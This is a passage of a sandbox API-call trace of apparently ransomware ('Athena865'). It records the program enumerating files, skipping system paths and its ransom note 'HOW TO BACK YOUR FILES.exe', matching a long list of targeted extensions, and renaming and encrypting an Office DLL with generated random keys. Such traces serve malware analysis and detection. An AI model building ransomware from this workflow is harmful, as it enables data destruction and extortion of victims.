[0094.104] CloseHandle (hObject=0x154) returned 1 [0094.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.104] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7c7400, ftCreationTime.dwHighDateTime=0x1cbc9fa, ftLastAccessTime.dwLowDateTime=0xadbb9ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeb7c7400, ftLastWriteTime.dwHighDateTime=0x1cbc9fa, nFileSizeHigh=0x0, nFileSizeLow=0x406590, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0094.104] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0094.104] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.105] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2=".") returned 1 [0094.105] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="..") returned 1 [0094.105] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="windows") returned -1 [0094.105] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="bootmgr") returned 1 [0094.105] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="temp") returned -1 [0094.105] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="pagefile.sys") returned -1 [0094.105] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="boot") returned 1 [0094.105] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="ids.txt") returned -1 [0094.105] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="ntuser.dat") returned -1 [0094.105] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="perflogs") returned -1 [0094.105] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2="MSBuild") returned -1 [0094.105] lstrlenW (lpString="GROOVEEX.DLL") returned 12 [0094.105] lstrcpyW (in: lpString1=0x241e8aa, lpString2="GROOVEEX.DLL" | out: lpString1="GROOVEEX.DLL") returned="GROOVEEX.DLL" [0094.105] lstrlenW (lpString="GROOVEEX.DLL") returned 12 [0094.105] lstrlenW (lpString="Athena865") returned 9 [0094.105] lstrcmpiW (lpString1="OVEEX.DLL", lpString2="Athena865") returned 1 [0094.105] lstrlenW (lpString=".dll") returned 4 [0094.105] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2=".dll") returned 1 [0094.105] lstrlenW (lpString=".lnk") returned 4 [0094.105] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2=".lnk") returned 1 [0094.105] lstrlenW (lpString=".ini") returned 4 [0094.105] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2=".ini") returned 1 [0094.105] lstrlenW (lpString=".sys") returned 4 [0094.105] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2=".sys") returned 1 [0094.105] lstrlenW (lpString="GROOVEEX.DLL") returned 12 [0094.105] lstrlenW (lpString="bak") returned 3 [0094.105] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0094.105] lstrlenW (lpString="ba_") returned 3 [0094.105] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0094.105] lstrlenW (lpString="dbb") returned 3 [0094.105] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0094.105] lstrlenW (lpString="vmdk") returned 4 [0094.106] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0094.106] lstrlenW (lpString="rar") returned 3 [0094.106] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0094.106] lstrlenW (lpString="zip") returned 3 [0094.106] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0094.106] lstrlenW (lpString="tgz") returned 3 [0094.106] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0094.106] lstrlenW (lpString="vbox") returned 4 [0094.106] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0094.106] lstrlenW (lpString="vdi") returned 3 [0094.106] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0094.106] lstrlenW (lpString="vhd") returned 3 [0094.106] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0094.106] lstrlenW (lpString="vhdx") returned 4 [0094.106] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0094.106] lstrlenW (lpString="avhd") returned 4 [0094.106] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0094.106] lstrlenW (lpString="db") returned 2 [0094.106] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0094.106] lstrlenW (lpString="db2") returned 3 [0094.106] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0094.106] lstrlenW (lpString="db3") returned 3 [0094.106] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0094.106] lstrlenW (lpString="dbf") returned 3 [0094.106] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0094.106] lstrlenW (lpString="mdf") returned 3 [0094.106] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0094.106] lstrlenW (lpString="mdb") returned 3 [0094.106] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0094.106] lstrlenW (lpString="sql") returned 3 [0094.106] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0094.106] lstrlenW (lpString="sqlite") returned 6 [0094.107] lstrcmpiW (lpString1="EX.DLL", lpString2="sqlite") returned -1 [0094.107] lstrlenW (lpString="sqlite3") returned 7 [0094.107] lstrcmpiW (lpString1="EEX.DLL", lpString2="sqlite3") returned -1 [0094.107] lstrlenW (lpString="sqlitedb") returned 8 [0094.107] lstrcmpiW (lpString1="VEEX.DLL", lpString2="sqlitedb") returned 1 [0094.107] lstrlenW (lpString="xml") returned 3 [0094.107] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0094.107] lstrlenW (lpString="$er") returned 3 [0094.107] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0094.107] lstrlenW (lpString="4dd") returned 3 [0094.107] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0094.107] lstrlenW (lpString="4dl") returned 3 [0094.107] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0094.107] lstrlenW (lpString="^^^") returned 3 [0094.107] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0094.107] lstrlenW (lpString="abs") returned 3 [0094.107] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0094.107] lstrlenW (lpString="abx") returned 3 [0094.107] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0094.107] lstrlenW (lpString="accdb") returned 5 [0094.107] lstrcmpiW (lpString1="X.DLL", lpString2="accdb") returned 1 [0094.107] lstrlenW (lpString="accdc") returned 5 [0094.107] lstrcmpiW (lpString1="X.DLL", lpString2="accdc") returned 1 [0094.107] lstrlenW (lpString="accde") returned 5 [0094.107] lstrcmpiW (lpString1="X.DLL", lpString2="accde") returned 1 [0094.107] lstrlenW (lpString="accdr") returned 5 [0094.107] lstrcmpiW (lpString1="X.DLL", lpString2="accdr") returned 1 [0094.107] lstrlenW (lpString="accdt") returned 5 [0094.107] lstrcmpiW (lpString1="X.DLL", lpString2="accdt") returned 1 [0094.107] lstrlenW (lpString="accdw") returned 5 [0094.107] lstrcmpiW (lpString1="X.DLL", lpString2="accdw") returned 1 [0094.108] lstrlenW (lpString="accft") returned 5 [0094.108] lstrcmpiW (lpString1="X.DLL", lpString2="accft") returned 1 [0094.108] lstrlenW (lpString="adb") returned 3 [0094.108] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.108] lstrlenW (lpString="adb") returned 3 [0094.108] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.108] lstrlenW (lpString="ade") returned 3 [0094.108] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0094.108] lstrlenW (lpString="adf") returned 3 [0094.108] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0094.108] lstrlenW (lpString="adn") returned 3 [0094.108] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0094.108] lstrlenW (lpString="adp") returned 3 [0094.108] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0094.108] lstrlenW (lpString="alf") returned 3 [0094.108] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0094.108] lstrlenW (lpString="ask") returned 3 [0094.108] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0094.108] lstrlenW (lpString="btr") returned 3 [0094.108] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0094.108] lstrlenW (lpString="cat") returned 3 [0094.108] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0094.108] lstrlenW (lpString="cdb") returned 3 [0094.108] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0094.108] lstrlenW (lpString="ckp") returned 3 [0094.108] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0094.108] lstrlenW (lpString="cma") returned 3 [0094.108] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0094.108] lstrlenW (lpString="cpd") returned 3 [0094.108] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0094.108] lstrlenW (lpString="dacpac") returned 6 [0094.108] lstrcmpiW (lpString1="EX.DLL", lpString2="dacpac") returned 1 [0094.109] lstrlenW (lpString="dad") returned 3 [0094.109] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0094.109] lstrlenW (lpString="dadiagrams") returned 10 [0094.109] lstrcmpiW (lpString1="OOVEEX.DLL", lpString2="dadiagrams") returned 1 [0094.109] lstrlenW (lpString="daschema") returned 8 [0094.109] lstrcmpiW (lpString1="VEEX.DLL", lpString2="daschema") returned 1 [0094.109] lstrlenW (lpString="db-journal") returned 10 [0094.109] lstrcmpiW (lpString1="OOVEEX.DLL", lpString2="db-journal") returned 1 [0094.109] lstrlenW (lpString="db-shm") returned 6 [0094.109] lstrcmpiW (lpString1="EX.DLL", lpString2="db-shm") returned 1 [0094.109] lstrlenW (lpString="db-wal") returned 6 [0094.109] lstrcmpiW (lpString1="EX.DLL", lpString2="db-wal") returned 1 [0094.109] lstrlenW (lpString="dbc") returned 3 [0094.109] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0094.109] lstrlenW (lpString="dbs") returned 3 [0094.109] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0094.109] lstrlenW (lpString="dbt") returned 3 [0094.109] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0094.109] lstrlenW (lpString="dbv") returned 3 [0094.109] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0094.109] lstrlenW (lpString="dbx") returned 3 [0094.109] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0094.109] lstrlenW (lpString="dcb") returned 3 [0094.109] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0094.109] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0094.110] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\GROOVEEX.DLL.Athena865") returned 71 [0094.110] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\GROOVEEX.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\grooveex.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\GROOVEEX.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\grooveex.dll.athena865"), dwFlags=0x1) returned 1 [0094.110] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\GROOVEEX.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\grooveex.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.111] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4220304) returned 1 [0094.111] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.112] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.112] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.112] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.113] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x406890, lpName=0x0) returned 0x17c [0094.115] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x6890) returned 0x100000 [0094.117] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0094.221] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.222] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.222] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0094.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0094.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.223] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0094.223] CloseHandle (hObject=0x17c) returned 1 [0094.223] CloseHandle (hObject=0x154) returned 1 [0094.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.232] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1234f00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc1234f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0094.232] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0094.232] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a783200, ftCreationTime.dwHighDateTime=0x1cbceff, ftLastAccessTime.dwLowDateTime=0xae0eeec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5a783200, ftLastWriteTime.dwHighDateTime=0x1cbceff, nFileSizeHigh=0x0, nFileSizeLow=0x2ff60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1 [0094.232] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.232] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.232] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2=".") returned 1 [0094.232] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="..") returned 1 [0094.232] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="windows") returned -1 [0094.232] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="bootmgr") returned 1 [0094.232] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="temp") returned -1 [0094.232] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="pagefile.sys") returned -1 [0094.232] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="boot") returned 1 [0094.232] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="ids.txt") returned 1 [0094.232] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="ntuser.dat") returned -1 [0094.233] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="perflogs") returned -1 [0094.233] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2="MSBuild") returned -1 [0094.233] lstrlenW (lpString="IEAWSDC.DLL") returned 11 [0094.233] lstrcpyW (in: lpString1=0x241e8aa, lpString2="IEAWSDC.DLL" | out: lpString1="IEAWSDC.DLL") returned="IEAWSDC.DLL" [0094.233] lstrlenW (lpString="IEAWSDC.DLL") returned 11 [0094.233] lstrlenW (lpString="Athena865") returned 9 [0094.233] lstrcmpiW (lpString1="AWSDC.DLL", lpString2="Athena865") returned 1 [0094.233] lstrlenW (lpString=".dll") returned 4 [0094.233] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2=".dll") returned 1 [0094.233] lstrlenW (lpString=".lnk") returned 4 [0094.233] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2=".lnk") returned 1 [0094.233] lstrlenW (lpString=".ini") returned 4 [0094.233] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2=".ini") returned 1 [0094.233] lstrlenW (lpString=".sys") returned 4 [0094.233] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2=".sys") returned 1 [0094.233] lstrlenW (lpString="IEAWSDC.DLL") returned 11 [0094.233] lstrlenW (lpString="bak") returned 3 [0094.233] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0094.233] lstrlenW (lpString="ba_") returned 3 [0094.233] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0094.233] lstrlenW (lpString="dbb") returned 3 [0094.233] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0094.233] lstrlenW (lpString="vmdk") returned 4 [0094.233] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0094.233] lstrlenW (lpString="rar") returned 3 [0094.233] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0094.233] lstrlenW (lpString="zip") returned 3 [0094.233] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0094.233] lstrlenW (lpString="tgz") returned 3 [0094.233] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0094.233] lstrlenW (lpString="vbox") returned 4 [0094.234] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0094.234] lstrlenW (lpString="vdi") returned 3 [0094.234] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0094.234] lstrlenW (lpString="vhd") returned 3 [0094.234] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0094.234] lstrlenW (lpString="vhdx") returned 4 [0094.234] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0094.234] lstrlenW (lpString="avhd") returned 4 [0094.234] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0094.234] lstrlenW (lpString="db") returned 2 [0094.234] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0094.234] lstrlenW (lpString="db2") returned 3 [0094.234] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0094.234] lstrlenW (lpString="db3") returned 3 [0094.234] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0094.234] lstrlenW (lpString="dbf") returned 3 [0094.234] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0094.234] lstrlenW (lpString="mdf") returned 3 [0094.234] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0094.234] lstrlenW (lpString="mdb") returned 3 [0094.234] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0094.234] lstrlenW (lpString="sql") returned 3 [0094.234] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0094.234] lstrlenW (lpString="sqlite") returned 6 [0094.234] lstrcmpiW (lpString1="DC.DLL", lpString2="sqlite") returned -1 [0094.234] lstrlenW (lpString="sqlite3") returned 7 [0094.234] lstrcmpiW (lpString1="SDC.DLL", lpString2="sqlite3") returned -1 [0094.234] lstrlenW (lpString="sqlitedb") returned 8 [0094.234] lstrcmpiW (lpString1="WSDC.DLL", lpString2="sqlitedb") returned 1 [0094.234] lstrlenW (lpString="xml") returned 3 [0094.234] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0094.235] lstrlenW (lpString="$er") returned 3 [0094.235] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0094.235] lstrlenW (lpString="4dd") returned 3 [0094.235] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0094.235] lstrlenW (lpString="4dl") returned 3 [0094.235] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0094.235] lstrlenW (lpString="^^^") returned 3 [0094.235] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0094.235] lstrlenW (lpString="abs") returned 3 [0094.235] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0094.235] lstrlenW (lpString="abx") returned 3 [0094.235] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0094.235] lstrlenW (lpString="accdb") returned 5 [0094.235] lstrcmpiW (lpString1="C.DLL", lpString2="accdb") returned 1 [0094.235] lstrlenW (lpString="accdc") returned 5 [0094.235] lstrcmpiW (lpString1="C.DLL", lpString2="accdc") returned 1 [0094.235] lstrlenW (lpString="accde") returned 5 [0094.235] lstrcmpiW (lpString1="C.DLL", lpString2="accde") returned 1 [0094.235] lstrlenW (lpString="accdr") returned 5 [0094.235] lstrcmpiW (lpString1="C.DLL", lpString2="accdr") returned 1 [0094.235] lstrlenW (lpString="accdt") returned 5 [0094.235] lstrcmpiW (lpString1="C.DLL", lpString2="accdt") returned 1 [0094.235] lstrlenW (lpString="accdw") returned 5 [0094.235] lstrcmpiW (lpString1="C.DLL", lpString2="accdw") returned 1 [0094.235] lstrlenW (lpString="accft") returned 5 [0094.235] lstrcmpiW (lpString1="C.DLL", lpString2="accft") returned 1 [0094.235] lstrlenW (lpString="adb") returned 3 [0094.235] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.235] lstrlenW (lpString="adb") returned 3 [0094.235] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.235] lstrlenW (lpString="ade") returned 3 [0094.235] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0094.236] lstrlenW (lpString="adf") returned 3 [0094.236] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0094.236] lstrlenW (lpString="adn") returned 3 [0094.236] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0094.236] lstrlenW (lpString="adp") returned 3 [0094.236] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0094.236] lstrlenW (lpString="alf") returned 3 [0094.236] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0094.236] lstrlenW (lpString="ask") returned 3 [0094.236] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0094.236] lstrlenW (lpString="btr") returned 3 [0094.236] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0094.236] lstrlenW (lpString="cat") returned 3 [0094.236] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0094.236] lstrlenW (lpString="cdb") returned 3 [0094.236] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0094.236] lstrlenW (lpString="ckp") returned 3 [0094.236] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0094.236] lstrlenW (lpString="cma") returned 3 [0094.236] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0094.236] lstrlenW (lpString="cpd") returned 3 [0094.236] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0094.236] lstrlenW (lpString="dacpac") returned 6 [0094.236] lstrcmpiW (lpString1="DC.DLL", lpString2="dacpac") returned 1 [0094.236] lstrlenW (lpString="dad") returned 3 [0094.236] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0094.236] lstrlenW (lpString="dadiagrams") returned 10 [0094.236] lstrcmpiW (lpString1="EAWSDC.DLL", lpString2="dadiagrams") returned 1 [0094.236] lstrlenW (lpString="daschema") returned 8 [0094.236] lstrcmpiW (lpString1="WSDC.DLL", lpString2="daschema") returned 1 [0094.236] lstrlenW (lpString="db-journal") returned 10 [0094.236] lstrcmpiW (lpString1="EAWSDC.DLL", lpString2="db-journal") returned 1 [0094.237] lstrlenW (lpString="db-shm") returned 6 [0094.237] lstrcmpiW (lpString1="DC.DLL", lpString2="db-shm") returned 1 [0094.237] lstrlenW (lpString="db-wal") returned 6 [0094.237] lstrcmpiW (lpString1="DC.DLL", lpString2="db-wal") returned 1 [0094.237] lstrlenW (lpString="dbc") returned 3 [0094.237] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0094.237] lstrlenW (lpString="dbs") returned 3 [0094.237] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0094.237] lstrlenW (lpString="dbt") returned 3 [0094.237] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0094.237] lstrlenW (lpString="dbv") returned 3 [0094.237] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0094.237] lstrlenW (lpString="dbx") returned 3 [0094.237] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0094.237] lstrlenW (lpString="dcb") returned 3 [0094.237] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0094.237] lstrlenW (lpString="dct") returned 3 [0094.237] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0094.237] lstrlenW (lpString="dcx") returned 3 [0094.237] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0094.237] lstrlenW (lpString="ddl") returned 3 [0094.237] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0094.237] lstrlenW (lpString="dlis") returned 4 [0094.237] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0094.237] lstrlenW (lpString="dp1") returned 3 [0094.237] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0094.237] lstrlenW (lpString="dqy") returned 3 [0094.237] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0094.237] lstrlenW (lpString="dsk") returned 3 [0094.237] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0094.237] lstrlenW (lpString="dsn") returned 3 [0094.237] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0094.238] lstrlenW (lpString="dtsx") returned 4 [0094.238] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0094.238] lstrlenW (lpString="dxl") returned 3 [0094.238] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0094.238] lstrlenW (lpString="eco") returned 3 [0094.238] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0094.238] lstrlenW (lpString="ecx") returned 3 [0094.238] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0094.238] lstrlenW (lpString="edb") returned 3 [0094.238] lstrcmpiW 